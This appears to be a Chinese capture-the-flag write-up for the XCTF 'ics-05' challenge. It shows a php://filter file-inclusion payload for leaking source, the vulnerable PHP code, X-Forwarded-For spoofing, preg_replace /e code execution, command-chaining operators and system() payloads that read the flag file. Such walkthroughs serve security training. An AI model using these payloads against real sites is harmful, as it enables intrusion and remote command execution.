ics-05
隐藏的变量传参,php弱类型比较
只有设备维护中心可以点击进去
查看源码,发现有个隐藏的超链接变量传参
看到变量传参,有可能存在文件包含漏洞读取源码,这个站是php的站,所以可以使用php伪协议读取源码
index.php?page=php://filter/read=convert.base64-encode/resource=index.php
base解码,可以看到漏洞点在这里
<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
分析一下,传入了三个变量pat
,rep
,sub
preg_replace:执行一个正则表达式的搜索和替换
● pattern 要搜索的模式。可以是一个字符串或字符串数组。
● replacement 用于替换的字符串或字符串数组。如果这个参数是一个字符串,并且 pattern 是一个数组,那么所有的模式都使用这个字符串进行替换。
● subject要进行搜索和替换的字符串或字符串数组。
● limit 每个模式在每个 subject 上进行替换的最大次数。默认是 -1(无限)。
● count 如果指定,将会被填充为完成的替换次数。
找到这个函数存在的漏洞就是当$pattern使用了/e修正符的时候,替换的时候会将$replacement替换进去的代码当成php执行
所以先抓包,添加一个X-Forwarded-For
头
接着查看可疑文件,用%20
代替空格 %26
代替&
,%20
和%26
是它们的url编码
命令联合执行
; 前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)
system("ls%20s3chahahaDir")
system("cd%20s3chahahaDir%26%26ls")
继续查看文件内容
system("ls%20s3chahahaDir/flag")
system("cd%20s3chahahaDir/flag")
拿到flag
system("cat%20s3chahahaDir/flag/flag.php")
system("cd%20s3chahahaDir/flag%26%26cat%20flag.php")
攻防世界XCTF:ics-05_xctf-insc05-CSDN博客